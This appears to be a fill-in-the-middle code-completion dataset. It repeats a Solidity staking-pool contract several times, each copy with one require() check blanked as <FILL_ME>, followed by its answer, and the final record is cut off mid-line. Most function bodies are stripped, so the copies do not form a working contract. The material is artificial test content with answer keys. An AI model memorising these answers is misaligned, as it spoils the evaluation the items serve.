// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { require(<FILL_ME>) require(!_isInitialized, "Pool::initialize: INITIALIZED"); manager = IManager(_manager); rewardToken = _rewardToken; nativeToken = _nativeToken; rewardPerBlock = _rewardPerBlock; treasury = _treasury; bytes4 mint = bytes4(keccak256(bytes("mint(address,uint256)"))); (bool success, ) = rewardToken.call(abi.encodeWithSelector(mint, address(this), 0)); if (success) { mintable = true; } else { mintable = false; } uint256 decimalsRewardToken = uint256(IERC20Metadata(rewardToken).decimals()); require(decimalsRewardToken < 30, "Pool::constructor: INVALID_REWARD_DECIMAL"); PRECISION_FACTOR = uint256(10**(uint256(30) - decimalsRewardToken)); // Make this contract initialized _isInitialized = true; // pid 0 for every REWARD pool is reserved for Native token staking _add( nativeToken, _nativeAllocPoint, _nativeStartBlock, _nativeBonusMultiplier, _nativeBonusEndBlock, _nativeMinStakePeriod, 0, // if this pool is !mintable, no reward amount initially, must add more REWARD later false, // first pool no need to update others false ); } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
_msgSender()==_factory,"Pool::initialize: FORBIDDEN"
486,173
_msgSender()==_factory
"Pool::initialize: INITIALIZED"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { require(_msgSender() == _factory, "Pool::initialize: FORBIDDEN"); require(<FILL_ME>) manager = IManager(_manager); rewardToken = _rewardToken; nativeToken = _nativeToken; rewardPerBlock = _rewardPerBlock; treasury = _treasury; bytes4 mint = bytes4(keccak256(bytes("mint(address,uint256)"))); (bool success, ) = rewardToken.call(abi.encodeWithSelector(mint, address(this), 0)); if (success) { mintable = true; } else { mintable = false; } uint256 decimalsRewardToken = uint256(IERC20Metadata(rewardToken).decimals()); require(decimalsRewardToken < 30, "Pool::constructor: INVALID_REWARD_DECIMAL"); PRECISION_FACTOR = uint256(10**(uint256(30) - decimalsRewardToken)); // Make this contract initialized _isInitialized = true; // pid 0 for every REWARD pool is reserved for Native token staking _add( nativeToken, _nativeAllocPoint, _nativeStartBlock, _nativeBonusMultiplier, _nativeBonusEndBlock, _nativeMinStakePeriod, 0, // if this pool is !mintable, no reward amount initially, must add more REWARD later false, // first pool no need to update others false ); } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
!_isInitialized,"Pool::initialize: INITIALIZED"
486,173
!_isInitialized
"Pool::updateBonus: STAKING_STARTED"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { require(_isInitialized, "Pool::updateBonus: POOL_NOT_INITIALIZED"); require(_pid < poolInfo.length, "Pool::updateBonus: INVALID_PID"); require(<FILL_ME>) require(poolInfo[_pid].startBlock <= _bonusEndBlock, "Pool::updateBonus: INVALID_BONUS_END_BLOCK"); poolInfo[_pid].bonusEndBlock = _bonusEndBlock; poolInfo[_pid].bonusMultiplier = _bonusMultiplier; updatePool(_pid); emit BonusDataSet(_pid, _bonusEndBlock, _bonusMultiplier); } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
poolInfo[_pid].startBlock>block.number,"Pool::updateBonus: STAKING_STARTED"
486,173
poolInfo[_pid].startBlock>block.number
"Pool::updateBonus: INVALID_BONUS_END_BLOCK"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { require(_isInitialized, "Pool::updateBonus: POOL_NOT_INITIALIZED"); require(_pid < poolInfo.length, "Pool::updateBonus: INVALID_PID"); require(poolInfo[_pid].startBlock > block.number, "Pool::updateBonus: STAKING_STARTED"); require(<FILL_ME>) poolInfo[_pid].bonusEndBlock = _bonusEndBlock; poolInfo[_pid].bonusMultiplier = _bonusMultiplier; updatePool(_pid); emit BonusDataSet(_pid, _bonusEndBlock, _bonusMultiplier); } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
poolInfo[_pid].startBlock<=_bonusEndBlock,"Pool::updateBonus: INVALID_BONUS_END_BLOCK"
486,173
poolInfo[_pid].startBlock<=_bonusEndBlock
"Pool::addRewardAmount: REWARD_MINTABLE"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { require(_isInitialized, "Pool::addRewardAmount: POOL_NOT_INITIALIZED"); require(_pid < poolInfo.length, "Pool::addRewardAmount: INVALID_PID"); require(<FILL_ME>) uint256 oldAmount = poolInfo[_pid].rewardAmount; poolInfo[_pid].rewardAmount = oldAmount + _rewardAmount; // transfer added amount of tokens to be used as rewards for the pool at _pid TransferHelper.safeTransferFrom(rewardToken, _msgSender(), address(this), _rewardAmount); emit AddedRewardAmount(_pid, oldAmount, 